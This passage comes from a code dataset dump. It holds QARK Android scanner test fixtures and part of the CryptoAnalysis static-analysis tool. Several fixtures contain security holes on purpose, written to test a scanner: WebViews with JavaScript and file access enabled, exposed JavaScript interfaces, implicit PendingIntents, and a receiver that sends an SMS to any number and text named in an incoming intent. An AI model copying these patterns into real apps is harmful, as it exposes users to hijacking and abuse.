vulnerableMethodGetActivities() {\n PendingIntent b = PendingIntent.getActivities(\"context\", \"requestcode\", new Intent[]{new Intent()}, \"flags\");\n }\n public void vulnerableMethodGetService() {\n PendingIntent b = PendingIntent.getService(\"context\", \"requestcode\", new Intent(), \"flags\");\n }\n public void vulnerableMethodGetBroadcast() {\n PendingIntent b = PendingIntent.getBroadcast(\"context\", \"requestcode\", new Intent(), \"flags\");\n }\n public void nonVulnerableMethodGetBroadcast() {\n PendingIntent b = PendingIntent.getBroadcast(\"context\", \"requestcode\", new Intent(this, VulnerableTest.class), \"flags\");\n }\n}"},"file_length":{"kind":"number","value":1169,"string":"1,169"},"avg_line_length":{"kind":"number","value":36.74193548387097,"string":"36.741935"},"max_line_length":{"kind":"number","value":124,"string":"124"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":266,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_manifest_plugins/broadcastreceivers/SendSMSNowReceiver.java"},"code":{"kind":"string","value":"package test_plugins.test_manifest_plugins.broadcastreceivers;\n\nimport android.content.BroadcastReceiver;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.os.Bundle;\nimport android.telephony.SmsManager;\nimport org.owasp.goatdroid.fourgoats.misc.Utils;\n\npublic class SendSMSNowReceiver\n extends BroadcastReceiver\n{\n Context context;\n\n public SendSMSNowReceiver() {}\n\n public void onReceive(Context paramContext, Intent paramIntent)\n {\n this.context = paramContext;\n paramContext = SmsManager.getDefault();\n paramIntent = paramIntent.getExtras();\n paramContext.sendTextMessage(paramIntent.getString(\"phoneNumber\"), null, paramIntent.getString(\"message\"), null, null);\n Utils.makeToast(this.context, \"Your text message has been sent!\", 1);\n }\n}"},"file_length":{"kind":"number","value":793,"string":"793"},"avg_line_length":{"kind":"number","value":30.76,"string":"30.76"},"max_line_length":{"kind":"number","value":123,"string":"123"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":267,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_webviews/vulnerable_webview.java"},"code":{"kind":"string","value":"class WebviewJavascript extends WebViewClient {\n public void vulnerableMethodJavascriptEnabled() {\n WebView web = (WebView) findViewById(R.id.webview);\n web.setWebChromeClient(new MyCustomChromeClient(this));\n web.setWebViewClient(new MyCustomWebViewClient(this));\n web.clearCache(true);\n web.clearHistory();\n web.getSettings().setJavaScriptEnabled(true);\n }\n public void nonVulnerableMethodJavascriptEnabled() {\n WebView web = (WebView) findViewById(R.id.webview);\n web.setWebChromeClient(new MyCustomChromeClient(this));\n web.setWebViewClient(new MyCustomWebViewClient(this));\n web.clearCache(true);\n web.clearHistory();\n web.getSettings().setJavaScriptEnabled();\n }\n public void nonVulnerableMethod2JavascriptEnabled() {\n WebView web = (WebView) findViewById(R.id.webview);\n web.setWebChromeClient(new MyCustomChromeClient(this));\n web.setWebViewClient(new MyCustomWebViewClient(this));\n web.clearCache(true);\n web.clearHistory();\n web.getSettings().setJavaScriptEnabled(false);\n }\n public void vulnerableMethodLoadDataWithBaseURL() {\n WebView web = (WebView) findViewById(R.id.webview);\n web.setWebChromeClient(new MyCustomChromeClient(this));\n web.setWebViewClient(new MyCustomWebViewClient(this));\n web.clearCache(true);\n web.clearHistory();\n web.loadDataWithBaseURL(\"file:///android_res/drawable/\", \"\", \"text/html\", \"UTF-8\", null);\n }\n public void nonVulnerableMethodLoadDataWithBaseURL() {\n WebView web = (WebView) findViewById(R.id.webview);\n web.setWebChromeClient(new MyCustomChromeClient(this));\n web.setWebViewClient(new MyCustomWebViewClient(this));\n web.clearCache(true);\n web.clearHistory();\n web.loadDataWithBaseURL();\n }\n public void vulnerableMethodSetAllowFileAccessSetAllowContentAccess() {\n WebView web = (WebView) findViewById(R.id.webview);\n web.setWebChromeClient(new MyCustomChromeClient(this));\n web.setWebViewClient(new MyCustomWebViewClient(this));\n web.clearCache(true);\n web.clearHistory();\n WebSettings webSettings = web.getSettings();\n }\n public void nonVulnerableMethodSetAllowFileAccessSetAllowContentAccess() {\n WebView web = (WebView) findViewById(R.id.webview);\n web.setWebChromeClient(new MyCustomChromeClient(this));\n web.setWebViewClient(new MyCustomWebViewClient(this));\n web.clearCache(true);\n web.clearHistory();\n WebSettings webSettings = web.getSettings();\n webSettings.setAllowFileAccess(false);\n webSettings.setAllowContentAccess(false);\n }\n}"},"file_length":{"kind":"number","value":2549,"string":"2,549"},"avg_line_length":{"kind":"number","value":41.5,"string":"41.5"},"max_line_length":{"kind":"number","value":106,"string":"106"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":268,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_webviews/vulnerable_webview_add_javascript_interface.java"},"code":{"kind":"string","value":"class JsObject {\n @JavascriptInterface\n public String toString() { return \"injectedObject\"; }\n}\n\nclass vulnerable_webview_add_javascript_interface extends WebViewClient {\n public void vulnerableMethodSetAllowFileAccess() {\n WebView web = (WebView) findViewById(R.id.webview);\n web.addJavascriptInterface(new JsObject(), \"injectedObject\");\n }\n public void vulnerableMethodSetAllowFileAccess2(WebView web) {\n web.addJavascriptInterface(new JsObject(), \"injectedObject\");\n }\n public void nonVulnerableMethodSetAllowFileAccess(WebView web) {\n pass;\n }\n}\n"},"file_length":{"kind":"number","value":570,"string":"570"},"avg_line_length":{"kind":"number","value":30.72222222222222,"string":"30.722222"},"max_line_length":{"kind":"number","value":73,"string":"73"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":269,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_webviews/vulnerable_webview_content_access.java"},"code":{"kind":"string","value":"class WebviewJavascript extends WebViewClient {\n public void vulnerableMethodSetAllowContentAccess() {\n WebView web = (WebView) findViewById(R.id.webview);\n }\n public void vulnerableMethodSetAllowContentAccess2() {\n WebView web = (WebView) findViewById(R.id.webview);\n WebSettings webSettings = web.getSettings();\n webSettings.setAllowContentAccess(true);\n }\n public void nonVulnerableMethodSetAllowFileAccess() {\n WebView web = (WebView) findViewById(R.id.webview);\n web.getSettings().setAllowContentAccess(false);\n }\n public void nonVulnerableMethodSetAllowFileAccess2() {\n WebView web = (WebView) findViewById(R.id.webview);\n WebSettings web_settings = web.getSettings();\n web_settings.setAllowContentAccess(false);\n }\n}\n"},"file_length":{"kind":"number","value":759,"string":"759"},"avg_line_length":{"kind":"number","value":37,"string":"37"},"max_line_length":{"kind":"number","value":56,"string":"56"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":270,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_webviews/vulnerable_webview_file_access.java"},"code":{"kind":"string","value":"class WebviewJavascript extends WebViewClient {\n public void vulnerableMethodSetAllowFileAccess() {\n WebView web = (WebView) findViewById(R.id.webview);\n }\n public void vulnerableMethodSetAllowFileAccess2() {\n WebView web = (WebView) findViewById(R.id.webview);\n WebSettings webSettings = web.getSettings();\n webSettings.setAllowFileAccess(true);\n }\n public void nonVulnerableMethodSetAllowFileAccess() {\n WebView web = (WebView) findViewById(R.id.webview);\n web.getSettings().setAllowFileAccess(false);\n }\n public void nonVulnerableMethodSetAllowFileAccess2() {\n WebView web = (WebView) findViewById(R.id.webview);\n WebSettings web_settings = web.getSettings();\n web_settings.setAllowFileAccess(false);\n }\n}\n"},"file_length":{"kind":"number","value":744,"string":"744"},"avg_line_length":{"kind":"number","value":36.25,"string":"36.25"},"max_line_length":{"kind":"number","value":56,"string":"56"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":271,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_webviews/vulnerable_webview_set_dom_storage_enabled.java"},"code":{"kind":"string","value":"class vulnerable_webview_set_dom_storage_enabled extends WebViewClient {\n public void vulnerableMethodSetDomStorageEnabled() {\n WebView web = (WebView) findViewById(R.id.webview);\n web.getSettings().setDomStorageEnabled(true);\n }\n public void vulnerableMethodSetAllowFileAccess2(WebView web) {\n web.setDomStorageEnabled(true);\n }\n public void nonVulnerableMethodSetAllowFileAccess() {\n WebView web = (WebView) findViewById(R.id.webview);\n }\n}\n"},"file_length":{"kind":"number","value":461,"string":"461"},"avg_line_length":{"kind":"number","value":34.53846153846154,"string":"34.538462"},"max_line_length":{"kind":"number","value":72,"string":"72"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":272,"cells":{"repo":{"kind":"string","value":"qark"},"file":{"kind":"string","value":"qark-master/tests/test_plugins/test_webviews/vulnerable_webview_universal_access_from_urls.java"},"code":{"kind":"string","value":"class vulnerable_webview_universal_access_from_urls extends WebViewClient {\n public void vulnerableMethodSetAllowUniversalAccessFromURLs() {\n WebView web = (WebView) findViewById(R.id.webview);\n }\n public void vulnerableMethodSetAllowUniversalAccessFromURLs2() {\n WebView web = (WebView) findViewById(R.id.webview);\n WebSettings webSettings = web.getSettings();\n webSettings.setAllowUniversalAccessFromFileURLs(true);\n }\n public void nonVulnerableMethodSetAllowUniversalAccessFromURLs() {\n WebView web = (WebView) findViewById(R.id.webview);\n web.getSettings().setAllowUniversalAccessFromFileURLs(false);\n }\n public void nonVulnerableMethodSetAllowUniversalAccessFromURLs2() {\n WebView web = (WebView) findViewById(R.id.webview);\n WebSettings web_settings = web.getSettings();\n web_settings.setAllowUniversalAccessFromFileURLs(false);\n }\n}\n"},"file_length":{"kind":"number","value":875,"string":"875"},"avg_line_length":{"kind":"number","value":42.8,"string":"42.8"},"max_line_length":{"kind":"number","value":75,"string":"75"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":273,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis-Android/src/main/java/de/fraunhofer/iem/crypto/CogniCryptAndroidAnalysis.java"},"code":{"kind":"string","value":"package de.fraunhofer.iem.crypto;\n\nimport java.io.File;\nimport java.util.Collection;\nimport java.util.List;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport com.google.common.collect.Lists;\nimport boomerang.callgraph.BoomerangICFG;\nimport boomerang.callgraph.ObservableICFG;\nimport boomerang.callgraph.ObservableStaticICFG;\nimport boomerang.preanalysis.BoomerangPretransformer;\nimport crypto.analysis.CrySLResultsReporter;\nimport crypto.analysis.CryptoScanner;\nimport crypto.analysis.errors.AbstractError;\nimport crypto.exceptions.CryptoAnalysisException;\nimport crypto.reporting.CollectErrorListener;\nimport crypto.rules.CrySLRule;\nimport crypto.rules.CrySLRuleReader;\nimport soot.Scene;\nimport soot.SootClass;\nimport soot.SootMethod;\nimport soot.Unit;\nimport soot.jimple.infoflow.InfoflowConfiguration;\nimport soot.jimple.infoflow.android.InfoflowAndroidConfiguration;\nimport soot.jimple.infoflow.android.SetupApplication;\nimport soot.jimple.infoflow.android.config.SootConfigForAndroid;\nimport soot.options.Options;\nimport crypto.cryslhandler.CrySLModelReader;\nimport crypto.reporting.CommandLineReporter;\n\npublic class CogniCryptAndroidAnalysis {\n\tpublic static void main(String... args) {\n\t\tCogniCryptAndroidAnalysis analysis;\n\t\tif (args[3] != null) {\n\t\t\tanalysis = new CogniCryptAndroidAnalysis(args[0], args[1], args[2], args[3], Lists.newArrayList());\n\t\t} else {\n\t\t\tanalysis = new CogniCryptAndroidAnalysis(args[0], args[1], args[2], Lists.newArrayList());\n\t\t}\n\t\tanalysis.run();\n\t}\n\n\tprivate static final Logger logger = LoggerFactory.getLogger(CogniCryptAndroidAnalysis.class);\n\tprivate final String apkFile;\n\tprivate final String platformsDirectory;\n\tprivate final String rulesDirectory;\n\tprivate final String outputDir;\n\tprivate final Collection applicationClassFilter;\n\n\tpublic CogniCryptAndroidAnalysis(String apkFile, String platformsDirectory, String rulesDirectory,\n\t\t\tCollection applicationClassFilter) {\n\t\tthis(apkFile, platformsDirectory, rulesDirectory, null, applicationClassFilter);\n\t}\n\n\tpublic CogniCryptAndroidAnalysis(String apkFile, String platformsDirectory, String rulesDirectory, String outputDir,\n\t\t\tCollection applicationClassFilter) {\n\t\tthis.apkFile = apkFile;\n\t\tthis.platformsDirectory = platformsDirectory;\n\t\tthis.rulesDirectory = rulesDirectory;\n\t\tthis.applicationClassFilter = applicationClassFilter;\n\t\tthis.outputDir = outputDir;\n\t}\n\n\tpublic Collection run() {\n\t\tlogger.info(\"Running static analysis on APK file \" + apkFile);\n\t\tlogger.info(\"with Android Platforms dir \" + platformsDirectory);\n\t\tconstructCallGraph();\n\t\treturn runCryptoAnalysis();\n\t}\n\t\n\tpublic String getApkFile(){\n\t\treturn apkFile;\n\t}\n\t\n\tpublic String getPlatformsDirectory(){\n\t\treturn platformsDirectory;\n\t}\n\t\n\tpublic String getRulesDirectory(){\n\t\treturn rulesDirectory;\n\t}\n\t\n\tpublic Collection getApplicationClassFilter(){\n\t\treturn applicationClassFilter;\n\t}\n\n\tprivate void constructCallGraph() {\n\t\tInfoflowAndroidConfiguration config = new InfoflowAndroidConfiguration();\n\t\tconfig.setCallgraphAlgorithm(InfoflowConfiguration.CallgraphAlgorithm.CHA);\n\t\tconfig.getCallbackConfig().setEnableCallbacks(false);\n\t\tconfig.setCodeEliminationMode(InfoflowConfiguration.CodeEliminationMode.NoCodeElimination);\n\t\tconfig.getAnalysisFileConfig().setAndroidPlatformDir(platformsDirectory);\n\t\tconfig.getAnalysisFileConfig().setTargetAPKFile(apkFile);\n\t\tconfig.setMergeDexFiles(true);\n\t\tSetupApplication flowDroid = new SetupApplication(config);\n\t\tSootConfigForAndroid sootConfigForAndroid = new SootConfigForAndroid() {\n\t\t\t@Override\n\t\t\tpublic void setSootOptions(Options options, InfoflowConfiguration config) {\n\t\t\t\toptions.set_keep_line_number(true);\n\t\t\t}\n\t\t};\n\t\tflowDroid.setSootConfig(sootConfigForAndroid);\n\t\tlogger.info(\"Constructing call graph\");\n\t\tflowDroid.constructCallgraph();\n\t\tlogger.info(\"Done constructing call graph\");\n\t}\n\n\tprivate Collection runCryptoAnalysis() {\n\t\tprepareAnalysis();\n\n\t\tfinal ObservableStaticICFG icfg = new ObservableStaticICFG(new BoomerangICFG(false));\n\t\tList rules = getRules();\n\t\t\n\t\tfinal CrySLResultsReporter reporter = new CrySLResultsReporter();\n\t\tCollectErrorListener errorListener = new CollectErrorListener();\n\t\treporter.addReportListener(errorListener);\n\t\treporter.addReportListener(new CommandLineReporter(outputDir, rules));\n\t\tCryptoScanner scanner = new CryptoScanner() {\n\n\t\t\t@Override\n\t\t\tpublic ObservableICFG icfg() {\n\t\t\t\treturn icfg;\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic CrySLResultsReporter getAnalysisListener() {\n\t\t\t\treturn reporter;\n\t\t\t}\n\n\t\t};\n\t\t\n\t\tlogger.info(\"Loaded \" + rules.size() + \" CrySL rules\");\n\t\tlogger.info(\"Running CogniCrypt Analysis\");\n\t\tscanner.scan(rules);\n\t\tlogger.info(\"Terminated CogniCrypt Analysis\");\n\t\tSystem.gc();\n\t\treturn errorListener.getErrors();\n\t}\n\n\tprivate void prepareAnalysis() {\n BoomerangPretransformer.v().reset();\n BoomerangPretransformer.v().apply();\n\n //Setting application classes to be the set of classes where we have found .java files for. Hereby we ignore library classes and reduce the analysis time.\n if(!applicationClassFilter.isEmpty()) {\n\t for(SootClass c : Scene.v().getClasses()){\n\t for(String filter : applicationClassFilter) {\n\t \tif(c.getName().contains(filter)) {\n\t \t\tc.setApplicationClass();\n\t \t} else {\n\t \t\tc.setLibraryClass();\n\t \t}\n\t }\n\t }\n }\n logger.info(\"Application classes: \"+ Scene.v().getApplicationClasses().size());\n logger.info(\"Library classes: \"+ Scene.v().getLibraryClasses().size());\n }\n\n\tprotected List getRules() {\n\t\tList rules = Lists.newArrayList();\n\t\tif (rulesDirectory == null) {\n\t\t\tthrow new RuntimeException(\n\t\t\t\t\t\"Please specify a directory the CrySL rules ( \" + CrySLModelReader.cryslFileEnding +\" Files) are located in.\");\n\t\t}\n\t\tFile[] listFiles = new File(rulesDirectory).listFiles();\n\t\tfor (File file : listFiles) {\n\t\t\tif (file != null && file.getName().endsWith(CrySLModelReader.cryslFileEnding)) {\n\t\t\t\ttry {\n\t\t\t\t\trules.add(CrySLRuleReader.readFromSourceFile(file));\n\t\t\t\t} catch (CryptoAnalysisException e) {\n\t\t\t\t\tlogger.error(e.getMessage(), e);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (rules.isEmpty())\n\t\t\tSystem.out.println(\"CogniCrypt did not find any rules to start the analysis for.\\n\"\n\t\t\t\t\t\t\t\t+ \"It checked for rules in \"+rulesDirectory);\n\t\treturn rules;\n\t}\n\n}\n"},"file_length":{"kind":"number","value":6458,"string":"6,458"},"avg_line_length":{"kind":"number","value":34.295081967213115,"string":"34.295082"},"max_line_length":{"kind":"number","value":162,"string":"162"},"extension_type":{"kind":"string","value":"java"}}},{"rowIdx":274,"cells":{"repo":{"kind":"string","value":"CryptoAnalysis"},"file":{"kind":"string","value":"CryptoAnalysis-master/CryptoAnalysis/src/main/java/crypto/HeadlessCryptoScanner.java"},"code":{"kind":"string","value":"package crypto;\n\nimport java.io.File;\nimport java.util.Arrays;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.TimeUnit;\nimport com.google.common.base.Stopwatch;\nimport com.google.common.collect.Lists;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport boomerang.callgraph.ObservableDynamicICFG;\nimport boomerang.callgraph.ObservableICFG;\nimport boomerang.debugger.Debugger;\nimport boomerang.debugger.IDEVizDebugger;\nimport boomerang.preanalysis.BoomerangPretransformer;\nimport crypto.analysis.CrySLAnalysisListener;\nimport crypto.analysis.CrySLResultsReporter;\nimport crypto.analysis.CryptoScanner;\nimport crypto.analysis.CryptoScannerSettings;\nimport crypto.analysis.CryptoScannerSettings.ControlGraph;\nimport crypto.analysis.CryptoScannerSettings.ReportFormat;\nimport crypto.analysis.IAnalysisSeed;\nimport crypto.exceptions.CryptoAnalysisException;\nimport crypto.exceptions.CryptoAnalysisParserException;\nimport crypto.preanalysis.SeedFactory;\nimport crypto.providerdetection.ProviderDetection;\nimport crypto.reporting.CSVReporter;\nimport crypto.reporting.CommandLineReporter;\nimport crypto.reporting.ErrorMarkerListener;\nimport crypto.reporting.SARIFReporter;\nimport crypto.reporting.TXTReporter;\nimport crypto.rules.CrySLRule;\nimport crypto.rules.CrySLRuleReader;\nimport ideal.IDEALSeedSolver;\nimport soot.Body;\nimport soot.BodyTransformer;\nimport soot.EntryPoints;\nimport soot.G;\nimport soot.PackManager;\nimport soot.PhaseOptions;\nimport soot.Scene;\nimport soot.SceneTransformer;\nimport soot.SootMethod;\nimport soot.Transform;\nimport soot.Transformer;\nimport soot.Unit;\nimport soot.options.Options;\nimport typestate.TransitionFunction;\n\npublic abstract class HeadlessCryptoScanner {\n\t\n\tprivate static CryptoScannerSettings settings = new CryptoScannerSettings();\n\tprivate boolean hasSeeds;\n\tprivate static Stopwatch callGraphWatch;\n\tprivate static List rules = Lists.newArrayList();\n\tprivate static String rulesetRootPath;\n\tprivate static final Logger LOGGER = LoggerFactory.getLogger(HeadlessCryptoScanner.class);\n\t\n\tpublic static void main(String[] args) {\n\t\tHeadlessCryptoScanner scanner = createFromCLISettings(args);\n\t\tscanner.exec();\n\t}\n\n\tpublic static HeadlessCryptoScanner createFromCLISettings(String[] args) {\n\t\ttry {\n\t\t\tsettings.parseSettingsFromCLI(args);\n\t\t} catch (CryptoAnalysisParserException e) {\n\t\t\tLOGGER.error(\"Parser failed with error: \" + e.getClass().toString(), e);\n\t\t}\n\t\t\n\t\tHeadlessCryptoScanner scanner = new HeadlessCryptoScanner() {\n\t\t\t\n\t\t\t@Override\n\t\t\tprotected String applicationClassPath() {\n\t\t\t\treturn settings.getApplicationPath();\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tprotected List getRules() {\n\t\t\t\t// TODO: Somehow optimize the rule getting because this has many code duplicates for no reason.\n\t\t\t\tswitch(settings.getRulesetPathType()) {\n\t\t\t\t\tcase DIR:\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\trules.addAll(CrySLRuleReader.readFromDirectory(new File(settings.getRulesetPathDir())));\n\t\t\t\t\t\t\trulesetRootPath = settings.getRulesetPathDir().substring(0, settings.getRulesetPathDir().lastIndexOf(File.separator));\n\t\t\t\t\t\t} catch (CryptoAnalysisException e) {\n\t\t\t\t\t\t\tLOGGER.error(\"Error happened when getting the CrySL rules from the specified directory: \"+settings.getRulesetPathDir(), e);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase ZIP:\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\trules.addAll(CrySLRuleReader.readFromZipFile(new File(settings.getRulesetPathZip())));\n\t\t\t\t\t\t\trulesetRootPath = settings.getRulesetPathZip().substring(0, settings.getRulesetPathZip().lastIndexOf(File.separator));\n\t\t\t\t\t\t} catch (CryptoAnalysisException e) {\n\t\t\t\t\t\t\tLOGGER.error(\"Error happened when getting the CrySL rules from the specified file: \"+settings.getRulesetPathZip(), e);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tLOGGER.error(\"Error happened when getting the CrySL rules from the specified file.\");\n\t\t\t\t}\n\t\t\t\treturn rules;\n\t\t\t}\n\t\t\t\n\t\t};\n\t\treturn scanner;\n\t}\n\n\tpublic void exec() {\n\t\tStopwatch stopwatch = Stopwatch.createStarted();\n\t\tif(isPreAnalysis()){\n\t\t\ttry {\n\t\t\t\tinitializeSootWithEntryPointAllReachable(false);\n\t\t\t} catch (CryptoAnalysisException e) {\n\t\t\t\tLOGGER.error(\"Error happened when executing HeadlessCryptoScanner.\", e);\n\t\t\t}\n\t\t\tLOGGER.info(\"Pre-Analysis soot setup done in {} \", stopwatch);\n\t\t\tcheckIfUsesObject();\n\t\t\tLOGGER.info(\"Pre-Analysis finished in {}\", stopwatch);\n\t\t}\n\t\tif (!isPreAnalysis() || hasSeeds()) {\n\t\t\tLOGGER.info(\"Using call graph algorithm {}\", callGraphAlgorithm());\n\t\t\ttry {\n\t\t\t\tinitializeSootWithEntryPointAllReachable(true);\n\t\t\t} catch (CryptoAnalysisException e) {\n\t\t\t\tLOGGER.error(\"Error happened when executing HeadlessCryptoScanner.\", e);\n\t\t\t}\n\t\t\tLOGGER.info(\"Analysis soot setup done in {} \",stopwatch);\n\t\t\tanalyse();\n\t\t\tLOGGER.info(\"Analysis finished in {}\", stopwatch);\n\t\t}\n\t}\n\n\tpublic boolean hasSeeds(){\n\t\treturn hasSeeds;\n\t}\n\t\n\tprivate void checkIfUsesObject() {\n\t\tfinal SeedFactory seedFactory = new SeedFactory(HeadlessCryptoScanner.rules);\n\t\tPackManager.v().getPack(\"jap\").add(new Transform(\"jap.myTransform\", new BodyTransformer() {\n\t\t\tprotected void internalTransform(Body body, String phase, Map options) {\n\t\t\t\tif (!body.getMethod().getDeclaringClass().isApplicationClass()) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tfor (Unit u : body.getUnits()) {\n\t\t\t\t\tseedFactory.generate(body.getMethod(), u);\n\t\t\t\t}\n\t\t\t}\n\t\t}));\n\t\tPhaseOptions.v().setPhaseOption(\"jap.npc\", \"on\");\n\t\tPackManager.v().runPacks();\n\t\thasSeeds = seedFactory.hasSeeds();\n\t}\n\n\tprivate void analyse() {\n\t\tTransform transform = new Transform(\"wjtp.ifds\", createAnalysisTransformer());\n\t\tPackManager.v().getPack(\"wjtp\").add(transform);\n\t\tcallGraphWatch = Stopwatch.createStarted(); \n\t\tPackManager.v().getPack(\"cg\").apply();\n PackManager.v().getPack(\"wjtp\").apply();\n\t}\n\t\n\tpublic String toString() {\n\t\tString s = \"HeadllessCryptoScanner: \\n\";\n\t\ts += \"\\tSoftwareIdentifier: \"+ softwareIdentifier() +\"\\n\";\n\t\ts += \"\\tApplicationClassPath: \"+ applicationClassPath() +\"\\n\";\n\t\ts += \"\\tSootClassPath: \"+ sootClassPath() +\"\\n\\n\";\n\t\treturn s;\n\t}\n\n\tprivate Transformer createAnalysisTransformer() {\n\t\treturn new SceneTransformer() {\n\t\t\t\n\t\t\t@Override\n\t\t\tprotected void internalTransform(String phaseName, Map options) {\n\t\t\t\tBoomerangPretransformer.v().reset();\n\t\t\t\tBoomerangPretransformer.v().apply();\n\t\t\t\tObservableDynamicICFG observableDynamicICFG = new ObservableDynamicICFG(false);\n\t\t\t\tList rules = HeadlessCryptoScanner.rules;\n\t\t\t\tErrorMarkerListener fileReporter;\n\t\t\t\tif(reportFormat()!= null) {\n\t\t\t\t\tswitch (reportFormat()) {\n\t\t\t\t\tcase SARIF:\n\t\t\t\t\t\tfileReporter = new SARIFReporter(getOutputFolder(), rules);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase CSV:\n\t\t\t\t\t\tfileReporter = new CSVReporter(getOutputFolder(), softwareIdentifier(), rules, callGraphWatch.elapsed(TimeUnit.MILLISECONDS));\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tfileReporter = new TXTReporter(getOutputFolder(), rules);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tfileReporter = new CommandLineReporter(rules);\n\t\t\t\t}\n\t\t\t\tfinal CrySLResultsReporter reporter = new CrySLResultsReporter();\n\t\t\t\tif(getAdditionalListener() != null)\n\t\t\t\t\treporter.addReportListener(getAdditionalListener());\n\t\t\t\tCryptoScanner scanner = new CryptoScanner() {\n\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic ObservableICFG icfg() {\n\t\t\t\t\t\treturn observableDynamicICFG;\n\t\t\t\t\t}\n\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic CrySLResultsReporter getAnalysisListener() {\n\t\t\t\t\t\treturn reporter;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t@Override\n\t\t\t\t\tpublic Debugger debugger(IDEALSeedSolver solver, IAnalysisSeed seed) {\n\t\t\t\t\t\tif(enableVisualization()) {\n\t\t\t\t\t\t\tif(getOutputFolder() == null) {\n\t\t\t\t\t\t\t\tLOGGER.error(\"The visualization requires the --reportDir option.\");\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tFile vizFile = new File(getOutputFolder()+\"/viz/ObjectId#\"+seed.getObjectId()+\".json\");\n\t\t\t\t\t\t\tvizFile.getParentFile().mkdirs();\n\t\t\t\t\t\t\treturn new IDEVizDebugger<>(vizFile, icfg());\n\t\t\t\t\t\t}\n\t\t\t\t\t\treturn super.debugger(solver, seed);\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\t\n\t\t\t\treporter.addReportListener(fileReporter);\n\t\t\t\t\n\t\t\t\tif (providerDetection()) {\n\t\t\t\t\tProviderDetection providerDetection = new ProviderDetection();\n\n\t\t\t\t\tif(rulesetRootPath == null) {\n\t\t\t\t\t\trulesetRootPath = System.getProperty(\"user.dir\")+File.separator+\"src\"+File.separator+\"main\"+File.separator+\"resources\";\n\t\t\t\t\t}\n\t\t\t\t\tString detectedProvider = providerDetection.doAnalysis(observableDynamicICFG, rulesetRootPath);\n\t\t\t\t\tif(detectedProvider != null) {\n\t\t\t\t\t\trules.clear();\n\t\t\t\t\t\tswitch(settings.getRulesetPathType()) {\n\t\t\t\t\t\t\tcase DIR:\n\t\t\t\t\t\t\t\trules.addAll(providerDetection.chooseRules(rulesetRootPath+File.separator+detectedProvider));\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase ZIP:\n\t\t\t\t\t\t\t\trules.addAll(providerDetection.chooseRulesZip(rulesetRootPath+File.separator+detectedProvider+\".zip\"));\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault: \n\t\t\t\t\t\t\t\trules.addAll(providerDetection.chooseRules(rulesetRootPath+File.separator+detectedProvider));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tscanner.scan(rules);\n\t\t\t}\n\t\t};\n\t}\n\n\tprotected CrySLAnalysisListener getAdditionalListener() {\n\t\treturn null;\n\t}\n\n\tprivate void initializeSootWithEntryPointAllReachable(boolean wholeProgram) throws CryptoAnalysisException {\n\t\tG.v().reset();\n\t\tOptions.v().set_whole_program(wholeProgram);\n\t\tswitch (callGraphAlgorithm()) {\n\t\tcase CHA:\n\t\t\tOptions.v().setPhaseOption(\"cg.cha\", \"on\");\n\t\t\tbreak;\n\t\tcase SPARKLIB:\n\t\t\tOptions.v().setPhaseOption(\"cg.spark\", \"on\");\n\t\t\tOptions.v().setPhaseOption(\"cg\", \"library:any-subtype\");\n\t\t\tbreak;\n\t\tcase SPARK:\n\t\t\tOptions.v().setPhaseOption(\"cg.spark\", \"on\");\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tthrow new CryptoAnalysisException(\"No call graph option selected out of: CHA, SPARK_LIBRARY and SPARK\");\n\t\t}\n\t\tOptions.v().set_output_format(Options.output_format_none);\n\t\tOptions.v().set_no_bodies_for_excluded(true);\n\t\tOptions.v().set_allow_phantom_refs(true);\n\t\tOptions.v().set_keep_line_number(true);\n\t\t// JAVA 8\n\t\tif(getJavaVersion() < 9)\n\t\t{\n\t\t\tOptions.v().set_prepend_classpath(true);\n\t\t\tOptions.v().set_soot_classpath(sootClassPath()+ File.pathSeparator + pathToJCE());\n\t\t}\n\t\t// JAVA VERSION 9 && IS A CLASSPATH 